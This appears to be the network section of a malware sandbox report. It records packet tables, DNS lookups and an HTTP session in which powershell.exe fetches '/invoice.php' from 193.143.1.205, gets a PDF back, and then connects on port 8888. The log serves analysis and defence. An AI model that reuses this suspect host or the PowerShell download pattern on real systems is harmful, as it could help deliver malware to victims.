Jan 10, 2025 22:01:37.708209038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.708220959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.708234072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.711335897 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742139101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742151022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742171049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742182016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742192984 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742207050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742218971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742233038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742233038 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742238045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742250919 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742259979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742271900 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742283106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742300987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742312908 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742347002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742347002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742347002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742391109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742409945 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742422104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742434978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742446899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742460012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742460966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742460966 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742472887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742482901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742496014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742507935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742518902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742537022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742542982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742542982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742542982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742604971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742618084 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742645979 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742646933 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742660046 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742671967 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742691994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742701054 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742702961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742713928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742719889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742733955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.742789984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742789984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.742789984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776029110 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776062012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776081085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776093006 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776104927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776117086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776132107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776144028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776156902 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776159048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776159048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776175022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776189089 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776209116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776209116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776263952 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776273966 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776279926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776285887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776290894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776360035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776374102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776391029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776410103 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776422977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776443005 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776454926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776454926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776454926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776454926 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776468992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776483059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776515961 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776520967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776520967 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776526928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776570082 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776650906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776663065 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776676893 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776688099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776700020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776741982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776741982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776741982 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776823044 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776834965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776845932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776858091 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776870012 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776882887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776892900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776896954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776910067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.776918888 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.776926041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777129889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777143955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777165890 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777177095 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777188063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777194023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777194023 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777201891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777215958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777228117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777240992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777265072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777265072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777265072 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777307987 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777318001 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777318954 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777332067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777398109 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777420998 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777434111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777446032 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777462959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777467012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777476072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777487040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777506113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777556896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777556896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777556896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777580023 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777601004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777612925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777623892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777636051 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777650118 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777666092 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777674913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777674913 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777734041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777750015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777823925 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777837038 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777848959 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777859926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777873039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777887106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.777890921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777890921 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.777904987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.778027058 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.798631907 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798705101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798717022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798728943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798739910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798752069 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.798763990 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.799001932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.799001932 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.809050083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.814053059 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833507061 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833514929 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833517075 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833522081 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833537102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833550930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833652973 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833667040 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833677053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833689928 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833703041 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833703041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833703041 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833723068 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833734989 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833748102 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833760977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833772898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833786011 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833789110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833789110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833789110 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833797932 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833811045 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833833933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833851099 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833853006 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833853960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833853960 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833863020 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833874941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833887100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833898067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833910942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833921909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833940983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833949089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833949089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833949089 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.833954096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833966017 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833978891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.833990097 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.834002018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.834002972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.834002972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.834016085 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.834168911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.834168911 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.837562084 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.844629049 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866574049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866612911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866633892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866650105 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866655111 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866663933 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866692066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866707087 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866728067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866728067 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866741896 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866755962 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866763115 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866770029 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866784096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866800070 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866813898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866830111 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866837025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866837025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866847992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866893053 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866906881 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866919994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866935015 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:37.866941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.866980076 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.916448116 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:37.920604944 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:38.246644974 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:38.701356888 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:38.706199884 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:38.706289053 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:38.710808992 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:38.715631962 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:39.476667881 CET	8888	49706	193.143.1.205	192.168.2.8
Jan 10, 2025 22:01:39.519965887 CET	49706	8888	192.168.2.8	193.143.1.205
Jan 10, 2025 22:01:39.713838100 CET	49706	8888	192.168.2.8	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:01:46.642621040 CET	63244	53	192.168.2.8	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:01:46.642621040 CET	192.168.2.8	1.1.1.1	0x8f7c	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:01:46.653603077 CET	1.1.1.1	192.168.2.8	0x8f7c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:02:52.758615971 CET	1.1.1.1	192.168.2.8	0xcb05	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:02:52.758615971 CET	1.1.1.1	192.168.2.8	0xcb05	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	193.143.1.205	80	7640	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:01:36.294090033 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:01:37.096965075 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:01:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:01:37.097002983 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:01:37.097013950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 22:01:37.097026110 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
